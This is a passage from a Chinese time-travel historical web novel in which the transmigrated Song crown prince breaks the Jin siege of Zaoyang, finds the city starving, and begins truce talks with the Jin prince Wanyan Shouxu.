“;三阿哥,我军还没有败,所料不差的话,这些溃兵在被**箭攻击的第一时间,就会掉头奔着那大宋太子率领的队伍冲击。那大宋太子身边也只剩了一千多人,早已疲惫不堪,只要溃兵冲乱了大宋太子阵型,我军神臂**直接一轮齐射,便能结束这场战斗。”
完颜守绪听了张行信的分析,面上神色这才稍稍好看了些“:但愿如先生所料。”
两人谈话间,完颜陈和尚已经带着数颗人头回到了完颜守绪身边,将人头丢在了地上“:三阿哥,营内间隙已经系数斩杀,小将特来回报。”
完颜守绪刚要夸奖完颜陈和尚几句,却听传令兵来报“:三阿哥不好了,从北方冲来好些人马,没有旗帜,现在正冲着营寨攻来。”
这边完颜守绪刚平了内乱,又遇到一路人马,可谓祸不单行。
金军大营北边,有一片小树林,此时树林内不断涌出士兵,就看这些士兵模样,与乞丐没有什么区别,身上衣不蔽体,打满补丁,脚上多穿着草鞋,手中兵器更是五花八门,有拿农具的,有拿菜刀的,有拿木棍的。
当先一个年龄约摸五十多岁的半百老人不停的唱快板“:
瞧一瞧,
看一看。
金兵围困枣阳已半年。
孟宗政,
稳如山。
任他女真兵再强横,
也难入关。”
更有一人像是头领模样,一声大喝“:山中群丐,特来助孟老英雄解围!要饭的娃子们!孟老将军养我们这么些年,是时候报答她老人家了......”
第九十回 枣阳解围战 胜负生死中 (捌)
原来是枣阳周围的丐帮前来帮枣阳解围。金兵大营内的完颜守绪得知了对面来路,在也笑不起来了“:张先生,丐帮少说万余人,这可怎么办?”
完颜守绪有些乱了分寸,张行信却很淡定“:三阿哥,莫慌。区区丐帮,千余人防御营寨门口,杀他们些人,自然散了。”
完颜守绪一想也是,就丐帮那些要饭的,怎么可能跟自己武装到脚的女真勇士相比?今天这是怎么了?老是魂不守舍的,莫非是看到大宋太子数千人打败自己两次万人的进攻,乱了方寸了?竟然会将丐帮也算在劲敌行列。
想到这里,完颜守绪强压了压自己那紧张的心境,长舒一口气“:完颜陈和尚,本阿哥命你带领两千女真勇士,去北门抵挡丐帮进攻。”
“;谨遵三阿哥令。”完颜陈和尚爽朗的领了命令,随即招呼士兵,奔着北门而去。
待完颜陈和尚走后,张行信皱着眉头,对着完颜守绪开口道“;三阿哥,丐帮这些人,可是大有来头,枣阳周边的丐帮,少说三万余,今日只来了一万,想必是挑选的帮内精壮。其实从根上说,他们本就是我大金国的子民。这些年我大金国战乱频仍,再加上举族南迁汴梁,致使这些汉人手中的田产,都被**的猛安谋克抢了去。无有生计之下,他们大量逃亡这荆襄之地。那史弥远一来惧怕我大金国怪罪,二来怕这些流民生乱,非但不收,还见了就抓,抓了就遣返回我大金国。直到四年前,我大金国与他宋国开战,这些人才停止了颠沛流离的生活。有些精壮得,便被孟宗政那老匹夫,收为了忠顺军,而剩下的,孟宗正又想办法,安置到了这枣阳荒山野岭之中,开垦田地,暂时成为了宋国人。但随着流入的逃难之民越来越多,再加上这几年枣阳战争频仍。后来跑过来的逃难百姓,孟宗正是真的无暇顾及。所以这枣阳附近,**了数量众多的逃难百姓群落。他们或是乞讨为生,或是靠着孟宗正不时的施舍为生。久而久之,这些上天无路,入地无门的百姓。便自行组织了一个群体,唤为丐帮。尊春秋时的伍子胥为祖师爷。”
完颜守绪听完这张行信一大串的话语,立马明白这些人为什么会偷袭自己大营了。感情是老仇人。
想到这里,完颜守绪有些为难的问道“;张先生,他们真有三万之众?”
张行信叹了口气“;唉。三万都是少说了。这些年枣阳周边**得逃难百姓,何止十数万?孟宗政为了他们,几乎把枣阳周边的荒山野岭,全都开垦成了农田,就这,仍是有许多老弱病死饿死。“
完颜守绪彻底郁闷了,满脸苦涩的问道“:枣阳这块地,,看来真要成为本阿哥的梦魇了,现在后有豺狼丐帮。攻城兵马与枣阳守军仍在僵持。外边那大宋太子又无人可敌。哎......”
这边完颜守绪情绪越加低落。回头再看宋宇这边,宋宇等人追着女真溃兵一路**,在距离女真大营仅剩八百步时,孟宗政将冲昏头的宋宇拦了下来“:殿下,不能再冲了。”
宋宇疑惑的回头看向孟宗政“:跟着女真溃兵涌入金军营寨,岂不是胜券在握?老将军。”
孟宗政先是喝令全军停下脚步,这才对着宋宇解释“:殿下,我军激战了整整一日,早就是**之末。再者,我们只剩下一千多兵了。就算冲进女真大营,也是虎入狼群,双拳难敌四手。”
宋宇听了孟宗政的分析,回头看了看身后将士,就将他们个个气喘如牛,身上汗水混着血水不住流淌。宋宇方才也是被一股子莫名的兴奋劲儿压制了疲惫,现在停下来,就觉得浑身骨头架子都要散了,知道孟宗政说的不错,叹了口气“:老将军,接下来要怎么办?”
“:我观那女真营寨有一队**兵堵塞入口,依照老将我多年来与女**打交道的经验来看,对面主帅八成要舍弃这些步军,我们若一路紧紧跟随,到时候女真**兵一轮齐射,溃兵会向潮水般压向我们,到时候我军必定被冲散。殿下,当务之急,还是进枣阳城内再商议如何退敌吧。”
宋宇对着孟宗政点了点头,也不再耽搁,招呼剩余士兵,绕着女真营寨,向枣阳西门跑去。
宋宇这一跑,守在营寨口的完颜合达也下令对着女**开始了射击。一轮齐射下,无数女真士兵倒在了血泊中。
无数人开始嘶喊“:我们是自己人啊!”
“:将军快放我们进去!”
完颜合达正色回道“:三阿哥有令,但凡后退一步者,格杀勿论。”
女真逃兵彻底被搞崩溃了,无数人为了活命,开始四散奔逃。部队后方的女真兵真如孟宗政所料,开始向后逃窜。可宋宇等人早已撤走,完颜守绪的计划,再次落空。
宋宇侥幸躲过一劫,此时看着枣阳城门越来越近,宋宇长出一口气,身旁孟宗政却在不停的下令“:将士们,城门口堵着大量女真兵,大家卯足劲儿,从敌军背后冲锋,一举冲进城内便可。”
“:孟珙你们几个,保护好太子殿下,莫要让殿下再冲到前面。殿下若是受伤,不要怪为父大义灭亲。”
身后孟珙几人慌忙将宋宇护在了中间,彭义斌这时候还不忘开玩笑“:孟老将军一看就没少修理孟小将军!”
杨妙珍白了彭义斌一眼“:嘴碎!”
一旁的孟珙非但没有生气,还笑着说道“:彭兄弟性格豪爽,快言快语,真是姓情中人。其实父亲对我们几个兄弟一直都很严厉,对待城中百姓和手下将士,却是和蔼可亲。小时候不懂,就常常问父亲,父亲总是说,将军家的孩子若是不严厉些,长大成了纨绔子弟,到处欺负城内百姓,到时在管教就晚了。那时候我真的没明白父亲这句话的含义,小时候又很淘气,总是闯祸,时常被父亲追着打。直到最近几年,尤其是史嵩之来到襄阳后,我才知道,有权有势的人或是有权有势的家人如果作恶,后果是有多严重。”
话到此处,孟珙长出一口气。不再言语。周围包括宋宇在内的所有人也都因为孟珙的言语,陷
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入了沉默。
他们几人悠哉游哉地聊天,孟宗政早已身先士卒,冲向了围在门口的女真士兵,手中**连连出手,瞬间结果了数个女真士兵。紧接着大声呼喝“:城内守军士兵听着,不要再一味抵挡,与本将合力围杀这些女真蛮子!”
“:是孟老将军!快,杀敌。”
本来缩在盾阵后的宋军士兵听到是孟宗政的声音,立马从盾阵切换到刀枪,冲向了面前女真士兵。
内外夹击之下,城门下的女真士兵很快被屠宰殆尽,两侧正在**城墙的女真士兵见背后冲来了宋军,方寸大乱,纷纷放弃了围城,向着大营方向跑去。
枣阳西门之围,解。
宋宇几乎是被人流裹挟着冲进了城内。随着身后枣阳城们‘哐当’一声关闭,宋宇一直悬在嗓子眼的心,终于放了下来。
“:殿下,随老将来。”孟宗政走到宋宇跟前说道。
宋宇点了点头,跟着孟宗政向枣阳城门楼上走去。一路左看右看,就见守城士兵无不面黄肌瘦,脸上饿的都要只剩骷颅头了“:城内断粮几日了?”
孟宗政见问,叹了口气“:断粮十余日了。不过,城内守军之所以面黄肌瘦,与这几日断粮倒没多大关系。乃是...”
话说到这,孟宗政没有再说下去,宋宇不喜欢打马虎眼“:因为什么就直说。”
孟宗政捋了捋胡须“:史大人就没发过军饷,还好城内百姓时时接济,城外又有流民开垦的田地,可终究是僧多粥少,难以为继。”
宋宇往旁边地上吐了口痰“:该死的史嵩之。老将军不瞒你说,那畜生已经被我关起来了。”
孟宗政一听宋宇关了史嵩之,并未露出开心神色,反倒是一脸担忧地说道“:殿下,擅自关押朝廷大员,可是重罪,殿下的身份又很微妙,万一他兄长史弥远参殿下一本,说殿下谋反,这可就糟了。”
宋宇却淡然的一摊手“:天知地知你知我知,唯独史弥远不可知。”
“:哎呀,殿下,太胡闹了。是不是孟珙那兔崽子鼓动你这么干的?兔崽子,我这就一枪捅死他。”
言罢孟宗政就要去找孟珙算账,宋宇赶忙制止“:我和史弥远不对付,他让史嵩之杀我,没杀成,这才被我关起来了。”
听了宋宇的解释,孟宗政暗道:乖乖,这是什么惊天奇闻?当朝宰相要杀当朝太子,我大宋这是怎么了?
那边宋宇安全回到了城内,这边,女真大营内,西门攻城逃回来的女真兵,已经告知大宋太子回到了城内,张行信皱眉思量了片刻,才缓缓对完颜守绪说道“;三阿哥,奴才以为,您不若趁现在尚有些兵力,与宋人罢兵言和罢?”
话音刚落,完颜守绪立马反驳道“;张先生,莫要胡言乱语,皇阿玛为了本阿哥打下这枣阳,擒了孟宗正回去祭旗。可谓是将国库花了个干干净净。如果此次本阿哥非但没拿下这枣阳,还弄得全军大败。这...先生你且说,本阿哥,还有何面目回去见皇阿玛?”
第九十一回 枣阳解围战 胜负生死中 (玖)
说到这里,完颜守绪已经臊红了脸。紧张的盯着张行信,似乎想要他收回方才那番话语,再献出一条其他计策。
正所谓希望越大,失望越大。完颜守绪这次,是真的体会到了这句话的意味。
只见张行信看着一脸渴求的完颜守绪,无奈的摇了摇头“;唉...三阿哥,如果不如此做,即使我军今日再殊死抵抗,也只会是两残之局。到时候,三阿哥手中兵力尽失,在庙堂之上,恐怕便再也站不住脚了。要知道,我大金国,可不止您一位阿哥。”
真别说,张行信这番话一出口,完颜守绪立马像霜打的茄子,蔫了。注视着枣阳城门许久才眼神一凛,咬牙说道“:罢了,张先生,本阿哥,愿意同宋军讲和。”
话说张行信这番分析,可谓是戳中了他完颜守绪的软肋。完颜守绪做了决定,似是又有些犹豫,没底气的问道“;只是,这宋军已然占了上风,万一不同意讲和,如之奈何?”
张行信眉头紧锁“;三阿哥,现今战场之上,我军虽然溃散,但攻城兵丁,与面前收拢起来的这些兵丁加起来,兵力上仍是占有上风。况且城内缺粮日久。想必只要是个有头脑得宋将,对于和谈之事,定然会详加思考,如此,我军也可趁着这个空档,稳定下来,到时就算是撤兵离去,也多了几分胜算不是?”
完颜守绪听了张行信的分析,心里越加宽慰,暗道:自己这次出门,真个带对人了。
想到此,完颜守绪唤来了身边一个传令兵“:你,去将本阿哥的帅旗马匹取来,本阿哥,要亲自会会城内那个大宋太子。”
传令兵领了声喏。小步快跑,取来了马匹旗帜。只见完颜守绪接过缰绳,矫健的翻身上马后,对着张行信说道“;先生,这大营那边的丐帮,便交给你盯着了。”
张行信领了声喏“:三阿哥,这支军队,偷袭尚可,若要让他们冲上阵来搏杀,怕是他们没这个种。只要三阿哥劝下了那位大宋太子,想必一切都会结束。”
完颜守绪对着张行信点了点头:这张行信,真是个不可多得的贤人,可惜,是个汉人,当不得多大的官。只能做我一个阿哥的贴身智囊。唉...如此才华,真个埋没了。要是他张行信,是我女**多好?本阿哥,也能让他这番才华,施展得更加绚丽多彩。
如此想着,完颜守绪吩咐周围兵士站好了队列,簇拥着自己,向枣阳西城门走去。
这边完颜守绪奔着和谈去找宋宇,那边张行信在完颜守绪走后,收拾了溃军,重新整编,同时敲响退军锣声,召唤仍在**的北门南门女真兵回营。等着要和宋宇和谈。
宋宇那边却仍是懵然不知。自打上了城门楼,宋宇累的再也站不住了,如临大赦般的一屁股瘫坐在了地上。
身后那些兄弟也是累到力竭,纷纷席地而坐。宋宇闲来无事,掰着手指头数了数,竟然出奇的发现,自己这次在战场上,收割了不下五十个女**的脑袋。可谓战绩突出。
又查看了下浑身的伤势,就见大多数敌军攻击都被铠甲抵挡,只在没有铠甲覆盖的部位有些皮外伤,此时已经不再流血,倒也没什么大碍。
经过这次厮杀,宋宇自觉心性又成熟了不少。对着旁边孟珙问道“;孟兄弟,你说这金军,人数占多,优势明显,为何却奈何不了咱们了?而咱们手下得这些装备简陋,长期挨饿的士兵,却是一反常态,越杀越勇?”
孟珙思虑了片刻,回答道“:这金军围困枣阳半年之久,早已不复当初的士气。有些慵懒之态。再加上这完颜守绪指挥失当,作为围困殿下得主力步军,却没有得力战将护持。无法随意发号施令,只是死板得黏在殿下身边而已。久不能拿下殿下,早已士气尽堕,溃败,是必然的结局。”
其实孟珙说的太过专业化了,宋宇倒是听明白了。说白了,就是金国这些精锐之师,在一个地方呆久了,长期围城的紧张的神经,已经松懈了下来。
就像是橡皮筋,紧绷了半年,也到了疲软的时候。而就是这个时候,自己率领宋军,出其不意偷袭了金国得屁股。一番你死我活的争斗。金国指挥失当,一个小小的细节。毁了数万金军。让自己这队弱旅,捡了个以少胜多的大便宜。
想到此,宋宇继续问道“;那我军这些临时拼凑起来的乌合之众,为何没有一触即溃?”
孟珙见宋宇问起这个,皱着眉头,仔细思量了一会,等抬头看向了宋宇一直不离手的那面龙旗。
才长叹口气道“:殿下,想来咱们这些拼凑起来的兵丁,是因为殿下你在这里,才将这百八十斤,全都舍了出去。与金国精锐,进行了这场殊死之战。”
“;我?”
“;对。就是因为你,我大宋国的太子。亲临战阵。让今天所有的宋人,都为殿下所动容。都想要为了殿下你,多杀几个金狗报国。正是有这骨子冲动,今天咱们才能以少胜多。撑到了金狗溃散。”
宋宇看着面前,将自己夸的花一般的孟珙,自嘲地一笑:话说孟珙倒是让我想起了清儿那番话“:殿下,我大宋许久没出过像样的皇帝了,清儿希望殿下能将这面龙旗,竖立在每个宋人的心里。”
想到此处,宋宇看向了孟珙,见他一直盯着不远处的孟宗政背影在看,父慈子孝,使得宋宇有些动容,在宋宇的记忆里,这孟珙,是无比孝顺的乖孩子。
可以说,孟宗正一生的梦想,志向。都完美的继承给了孟珙。而且更加让孟宗正高兴的,是这继承了自己梦想的儿子,比自己本事更大。走得更远。
可以说,是个在领兵打仗上,让孟宗正这个行家里手,老早就看好的**人。
要知道,这孟宗正可是有四个儿女。个个都是勇略出众之人。能在这些兄弟姐妹们之中脱瘾而出,青出于蓝而胜于蓝。可见这孟珙不是一般的优秀。
要说这孟珙,为何
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会被孟宗正寄予厚望,说来十分传奇。自打宋金开战后,孟珙曾于战阵之上,数次单骑救父。
可以说,是个赵子龙般的人物。要知道,随着时代的进步,兵器一直在更新换代。
到了南宋,更是出现了一种名叫神臂**得大杀器。成为了衡量一个国家战斗能力,除了马匹之外,另一个标杆。
能在神臂**那穿透性极强得箭阵下,单骑往来冲突。难度比之三国,犹如云泥之别。
记得在三国小说中,曹操当时可是严令活捉赵子龙,禁止放箭得。而我们的孟珙,哪有女**会傻到活捉他?生怕射不死这猛人才是。
可孟珙,并未老早接过兵权,反倒是在历史上,直到父亲死后,才真正有了一支抢来的部队,为什么要说抢?
没办法,多年的宋金战争,使得忠顺军势力过大,整个荆州,几乎都成了忠顺军的天下,这样一支部队,史弥远是不会让他父子相传的。尤其是这父子俩还是忠君爱国类型的。与史弥远之流志向相左。
正因为这个,史弥远将忠顺军交给了史嵩之与江海,妄图让史嵩之,借着江海得影响力,掌握这支部队。
只可惜,算盘打得再好,也禁不住战争这把试金剑,史嵩之搂钱玩女人是个好手,打仗着实是一塌糊涂。
几场战争下来,忠顺军被激怒了。天生便放荡惯了的他们,哪里会把史嵩之这帮肮脏货瞧在眼里?
数场兵变下来,史嵩之是叫苦不迭,为了自己京湖这个温暖的小窝不被忠顺军拆了,史嵩之只好放弃了忠顺军这颗臭棋子,连带枣阳这个臭棋篓子,一并甩给了忠顺军眼中的天之骄子,孟珙。
也正是史嵩之的这一举动,给大宋带来了一个擎天之柱。让大宋在蒙古人的猛攻之下,仍有一战之力。
却在这时,一群衣衫褴褛的女人小孩,抬着水桶来到了城墙上。将水桶放好后,开始招呼众人前去饮水。
孟宗政见此,走上前去“:留下一桶水给太子殿下先饮。”
周围士兵忙有序散开,留了一个水桶在原地。却有一个小孩跑过来,对着孟宗政问道“:太子殿下?是集市上说书先生说的太子殿下吗?”
孟宗政摸了摸这孩子的头“:正是我大宋太子殿下。”
小孩得了确认,忙舀了一瓢水“:哪个是太子殿下?我要亲自给他送去。”
孟宗政也没阻止,看来和这个小孩很是熟悉,指了指宋宇方向“:喏,那边那位就是太子殿下,记得给太子殿下磕头,莫要失了礼数。”
小孩乖巧地点了点头,随即端着水瓢小心谨慎的来到宋宇面前,双手捧着水瓢,跪下奶声奶气的说道“:草民,拜见太子殿下。”
宋宇笑着示意小孩起身,一整日没喝水的他,早已渴得嗓子冒烟,接过水瓢‘咕嘟嘟’喝了个痛快。
待把水瓢交还给小孩,说了声谢谢后,那小孩并未离开,反倒是盯着宋宇上下打量。
第九十二回 皇帝爱逃跑 世为伯侄国
宋宇见这孩子跟动物园里看猴子似的看自己,有些尴尬,倒也没阻止这孩子,反倒是打量起这孩子的穿着样貌,就将这小孩瘦的皮包骨,一身破布头儿做的衣裳包裹身体。
见此,宋宇忙从干粮袋里掏出了半张饼递给小孩。
那小孩接过饼开心地说了声“:谢谢太子殿下,我们已经三天没吃过像样的东西了。昨晚用喂猪的麸糠煮了粥,难吃的要命。”
宋宇这才想起来,这城内断粮好久了,忙招呼身边众人“:大家干粮袋里还有多少吃食,快分给周围人”
言毕,周围众人纷纷解开干粮袋向着守城将士还有送水过来的女人小孩分发。
那小孩见了宋宇的举动,一句话脱口而出“:太子殿下是专程来救我们的吗?”
宋宇笑着嗯了一声。
小孩歪着脑袋想了会,随即又说道“:那太子殿下真是个大英雄,不像我们的皇帝,遇到敌人就会丢下全城的老人小孩逃跑。”
一席话说的宋宇眉毛直抖“:谁跟你说的?”
“:说书先生说的。说书先生还说,皇帝杀了岳元帅,是个大坏蛋。”
宋宇现在心理状态很矛盾,好像既受到了夸奖,又挨了骂。那小孩也没在纠缠宋宇,拿着饼开心的跑回了女人小孩那边。
就在这时,城下传来一声呼喝“:城内大宋太子听着,我大金国三阿哥特来相邀,城下一叙。”
宋宇听到这个声音,眉头紧皱,走到了城门楼垛口向下望去,就见远处一人骑着高头大马,领着一小队士兵站在**兵射程之外向着城上观看。
一旁孟宗政在旁出声道“:太子殿下,那个骑在马上之人,就是大金国三阿哥完颜守绪。”
“:你说他现在找我,有什么用意?”
孟宗捋着胡须哈哈大笑“;果然不出老夫预料,这完颜守绪,雷声大,雨点小,稍微死些兵马,便要打退堂鼓喽。“
宋宇见这孟宗正似乎很了解完颜守绪,出口问道“;孟老将军,此话何意?‘
孟宗正见宋宇没听明白,也不见怪,笑着解释道“;殿下,这金国四面开花,处处征战,已经是兵源枯竭,财帛窘迫。想这金国,与蒙古西夏交战,胜了,那两国也是蛮荒之地,穷困不堪,没什么可抢的,败了,那就要被这两国大肆掳掠一番了,可谓是不管胜败,都是赔本的买卖。但相较与这两国的战争,大金国打我大宋,说白了,就是要占便宜,抢钱,抢粮,以支持北西两边的战争。但若是这南下要占便宜的军队,损失惨重,定然不是金国皇帝想要看到的结果。“
宋宇听完孟宗正一席话,心里顿时明白了。原来,这金国就是想在南线,靠**,支撑金国北线的战争。
说白了,南边与大宋的战争,是打得过就打。打不过就抢,抢也抢不过,那就只剩跑了。
现在由于自己的到来,是真的打疼了女真这支部队。对方八万余兵马,损失近半。这对于本就在兵源上捉襟见肘的女**来说,无异于重大挫败。
想来那在历史上智商在线的完颜守绪已经知道再在枣阳呆下去,绝对不是明智的选择。
索性,趁着现在还有谈判的资本,想要拍拍屁股走人。
宋宇想通透了这点,对着孟宗政说道“:开城门,本太子去会会这位女真三阿哥。”
宋宇大开城门,身边只带着杨妙珍几人,向着完颜守绪走去。
完颜守绪此时骑在马上,百感交集:这大宋太子,害的本阿哥折损了这么多兵马,也不知道能不能从他手里敲出些银两作为撤兵的条件?
要换作大宋皇帝,脉门被本阿哥摸得一清二楚。就算是他们打赢了,也会花钱了事。
更何况他们现在没有打赢。花些银两作为撤兵条件,那也是应该的。
退一步讲,就算你大宋太子再能打,再骨头硬,迟早是要走的。至于你大宋太子对史弥远是什么态度,了解史弥远多少,本阿哥根本不在乎。
史家兄弟,本大哥放心的很。只等着你大宋太子一走,本阿哥直接联系史弥远,再回来和史嵩之继续玩。
就在完颜守绪想入非非的时候,宋宇一身金盔金甲出现在完颜守绪视线里。
待宋宇走的近了,完颜守绪上下打量,就见这大宋太子满身血痕,红色披风随风而动。左手按着腰间宝剑剑柄,一身英气,好不威武。
直让完颜守绪脱口而出“:此子当真英姿勃发。”
言毕,完颜守绪竟不自觉地跳下马来,双手对着马上走到近前的宋宇一拱手“:大金国三阿哥完颜守绪,在此迎候大宋太子。”
宋宇三步两步走到近前,上下打量了一番完颜守绪,就见这完颜守绪一身白色戎装五官匀称,胖瘦适中,随即一拱手“:大宋太子赵竑,见过女真三阿哥。不知三阿哥邀我前来,所为何事?”
宋宇话音刚落,却听完颜守绪身后一女真将领大声呵斥道“;放肆!三阿哥也是你喊的?嘉定和议上怎么说的?你大宋太子连这都不知道?赶紧给我家三阿哥跪下喊伯伯!”
“:麻蛋,欺人太甚。”宋宇身后孟珙第一时间忍不住了,直接抽出腰间宝剑,就要上前厮杀。
却见完颜守绪爽朗地笑了“;哈哈哈!不必动怒,下边这些奴才护主心切,让大宋太子见笑了。”
说到这,完颜守绪怒目而视方才开口的女真将领“:狗奴才,这有你说话的份吗?给主子我滚回大营去。”
那女真将领挨了骂,吓得立马跪在地上磕头如捣蒜“:三阿哥息怒,奴才,奴才也是为了我大金国的尊严着想。”
“:为我大金国的尊严着想?为了我大金国的尊严着想,你们这帮奴才就该在战场上打赢!还愣着做什么?滚回去。”
那女真将领是真吓坏了,低着头都不敢再看一眼完颜守绪,灰溜溜夹着尾巴向大营内跑去。
宋宇镇定自若地对着身后孟珙摆
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了摆手“:孟兄弟,收起宝剑。”
孟珙冷哼一声,收回宝剑,随即对着完颜守绪身后那些士兵怒视,意思很明显,谁在乱插嘴,他孟珙是真要动手了。
却偏偏有那不信邪的主,之前战败的在孟宗政手下的板子讹可一脸坏笑站出了人群“:依照嘉定和议,我大金国,与你大宋国,世为伯侄之国。如今协议签订不过十几年,你大宋太子,不会想要越过大宋皇帝和满朝文武,擅自撕毁嘉定和议吧?”
宋宇听完这人言语,皱了皱眉,正要开口说话,身边孟珙杨妙珍几乎同时拔出腰间佩剑“;金狗,是你家主子,要找我家太子一叙,焉敢搬出嘉定和议羞辱我加太子?”语毕,两人就要冲上去教训板子讹可。
宋宇见此,慌忙止住了两人“:两位,不急。容我说两句再打不迟。”
两人见宋宇开口,这才愤愤然得暂时收起了宝剑,狠狠瞪着对面板子讹可。
相比一脸怒色得孟珙两人,一旁的孟宗正反倒手抚白须,哈哈大笑了起来“;哈哈哈。板子小儿,莫不是,又想让老夫给你松松筋骨?”
本来板子讹可被孟珙两人怒视,都没觉得怎滴。依旧脸不红,心不跳。哪知现在孟宗正半开玩笑的一句话,却把这七尺来高的汉子,吓得脸色发绿。
恐惧这东西,发自内心,是掩饰不了的“;孟老将军,您别拿小的开玩笑了。小的可不禁吓。”
得,这板子讹可,让孟宗正,一句话吓得草鸡了。
“:哈哈哈...你这兔崽子,还算机灵。”孟宗正见板子讹可服软,点头哈哈大笑道。
完颜守绪看了看身旁,被吓得脸色发绿得板子讹可,低声骂道“;狗奴才,竟给本阿哥丢人现眼。还不速速退下。”
板子讹可见自己主子生气。夹起了尾巴。怯懦的退到了队伍之后。完颜守绪无这才开口“;既然都不想谈嘉定和议,那就谈谈今日战事吧。”
语毕,完颜守绪暗道:本想让身边这些人试试大宋太子的斤两,哪知踢到了铁板上。真踏马晦气。记得以前去过宋国的人,回来都说,这大宋国,没有治国的好苗子。我大金国足可高枕无忧。也不知道,这个太子是从哪里蹦出来的。竟然,竟然反手之间,挫败了本阿哥四年来的部署。
宋宇礼貌的回道”:愿闻其详。”
随即回想起了记忆中历史上的完颜守绪:这完颜守绪,死后谥号哀宗,可见这人一生肯定是不幸得。
早在这完颜守绪初登大宝之时,金国其实已经回天乏术了。虽然这完颜守绪上任后,对内惩治腐朽堕落的女真旧贵族,刺激并提拔了一批忠心有真本事得能人异士。
对外结束了对宋战争,对西夏战争。专心一意,对付已经倾全国之力,压上来的蒙古大军。
但终究是失败了。不为别的,就以河南一地,妄图与横跨亚欧大陆的蒙古抗衡,譬如拿着鸡蛋碰石头。最终宿命难逃。
第九十三回 吠犬不咬人 需平等视之
在蔡州城破时,完颜守绪**殉国。身体被蒙宋两国一人一半分别带回各国宗庙祭祀。
话不多说,此时完颜守绪面色平静地继续开口道”:不知大宋太子挂帅出征,史嵩之史大人为何没来?“
“;史大人一介文官,留在襄阳负责内政。”宋玉不卑不亢的答道。
听到这个回答,完颜守绪陷入了沉思:史嵩之会同意你大宋太子来救枣阳?还会乖巧的留在襄阳处理内政?这之中到底出了什么变故?
本阿哥怎么越想越觉得不对劲儿,而且,这大宋国得太子挂帅出征,这史嵩之竟然没派人通知我。
这,到底是为何?莫非,这史嵩之,来要钱是假,来诓骗本阿哥是真?不对,有古怪。看这大宋太子一身正气,就史嵩之那种人,绝对不可能和这大宋太子一路。
莫不是?想到这,这完颜守绪心里一惊。难道,这太子,是史弥远故意派来贴金得?是史弥远扶持的下一个皇位继承人?
那也不对啊,要是故意派来贴金,为何只带了这么少的人马?而且这堂堂的大宋国太子,竟然骑着毛驴作战。不止他,就连他身旁那两人,也是骑的毛驴。
嘶......完颜守绪倒吸了一口凉气。他们之所以骑驴,难道是因为史嵩之,将马全都卖给了本阿哥所致?
哎呀,若真是如此,这史嵩之,还真是我大金国的至交密友啊,不行,本阿哥得和父皇说,让他给史弥远兄弟两个入我女真籍贯才是。
思来想去,完颜守绪最终没有想明白宋宇和史弥远之间到底是什么关系,宋宇到底是不是史弥远派来贴金的,只想到了一个结果,那就是史弥远兄弟俩人,一定是女**的好朋友。
宋宇这次却主动开口了,“:三阿哥,此乃我大宋领土,你大金国的阿哥,来此作甚?”
“;这,难道大宋太子不知道,你我两军,方才还处在战争之中。正所谓战争一开,领土不分你我,谁打下来,便是谁的。故而,本阿哥才会与你在此闲聊。”
宋宇正色说道“;按照嘉定和议,我们两方本该是和平状态才是。”
得,原来宋宇还在纠结嘉定和议得事。
完颜守绪笑了“:大宋太子莫要再纠结嘉定和议,下边奴才没眼力见儿,胡言乱语罢了。”
宋宇得了完颜守绪确切回答,这才不卑不亢得说道“:既然女真三阿哥要谈,那就别提那些个让人不愉快的往事。坦诚,方为你我双方谈判的前提条件。”
完颜守绪莞尔一笑“:大宋太子今日战场上一番表现,实是惊艳了本阿哥。我女**崇尚勇武,本阿哥并不想拿嘉定和议羞辱与你。”
见对方夸奖自己,宋宇笑纳“;承让,幸赖祖宗庇佑,众兄弟拼死护持。本太子今日在战场上,才捡下条性命。”
完颜守绪听这宋国太子,竟然称呼一起杀敌得那些将士为兄弟。露出一脸不可置信的模样:要知道,自己一直是以看奴才得眼光,看待身边这些人。
即使哪个奴才在努力,在优秀,在自己眼里,也只能晋升为家奴。要是再优秀点,在努力点。混到头了。在自己眼里充其量是个潜邸的奴才。这,就是祖宗传下来的,御奴之术。
但今日却破天荒的,听这大宋的太子,以兄弟之礼,待这些麾下将士。这太不可思议了,真新鲜无比,却又愚蠢之至:上位者就是上位者,为什么要自贬身份与下位者兄弟相称?
这大宋太子,也是糊涂。一帮子狗奴才,称什么兄弟?怪不得大宋国的将士,稍微有点兵权,就想要叛乱,自己做皇帝呢?说白了,全都是被这兄弟之礼,惯坏了。
想到此,完颜守绪心中冷笑一声:大宋太子不懂御奴之术,迟早要摔个大跟头?哼,如果本大哥所料不差,早晚你这大宋国得太子,会被那些一口一个兄弟相称之人,害了性命“:大宋国太子,本阿哥约你来此,是想要停战。这一则,你我两军现在势均力敌。我军虽然受了损失,但依旧断了枣阳粮道,迁延日久,你们也讨不到好。最终也无益于是个两残得局面。与其如此,本阿哥决定,与你大宋太子,在这枣阳,签定城下之盟。”
宋宇听这完颜守绪,说要降尊纡贵,提出议和。立马狂笑着说道“:哈哈哈...降尊纡贵?大金国得小阿哥,你真当本太子,是来陪你过家家的?”
一席话说完,立马惹怒了完颜守绪身后的金兵,也不知哪个愣头青带头喊道“;三阿哥,下令吧,让我们冲上去,杀了这些宋狗。”
此话一起,立马引起了周围金军的共鸣。个个磨牙擦掌,跃跃欲试。大呼誓要同宋军一战。
一时间,场面甚至有些要失控得得样子“:殿下,要不要给他们点颜色看看?”孟珙少有的没有冲动,见对面有些骚乱,小声对着宋宇请示道。
宋宇看着面前躁动得局面,面无表情得回答孟珙道“:这人呐,不怕当着你面瞎咋呼,就怕不声不响,躲在背地里捅黑刀子。俗话说得好,会叫的狗,不咬人。这些女**,与其说是叫给咱们听的,不如说是叫给自己主子听的,甭搭理他们,叫唤累了,他们自然会停。这就叫奴才文化,咱大宋的人,是不太好理解得。”
一旁杨妙珍听了宋宇得解释,‘噗嗤’一声,笑了出来。边笑边说道“;殿下你这嘴真是开过光的,损人损得体无完肤又恰到好处。殿下你要是在山东,肯定能凭着这张嘴,在我义军中混出一些名堂。”
宋宇善意的对着杨妙珍笑了笑,伸出右手,拍了拍她肩膀“;我这点功夫,去了山东,也就是个跑腿的小卒子。还好是个太子,嘴这么损,愣是没人敢打我。”
“;殿下,你太看轻自己了。就凭您的胆识,再加上仁义,去了义军中,绝对能很快崭露头角。这人呐,外貌上有高矮胖瘦之分,内在又有聪慧愚
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笨之别,道德上更是善恶奸诈各有不同。但忠义军却和殿下性情相近,更好相处。”
听完杨妙珍一席话,宋宇心说这姑娘看人的眼光还真是分的很清。这么精明的眼光,怎么就让李全继承了忠义军之位呢?
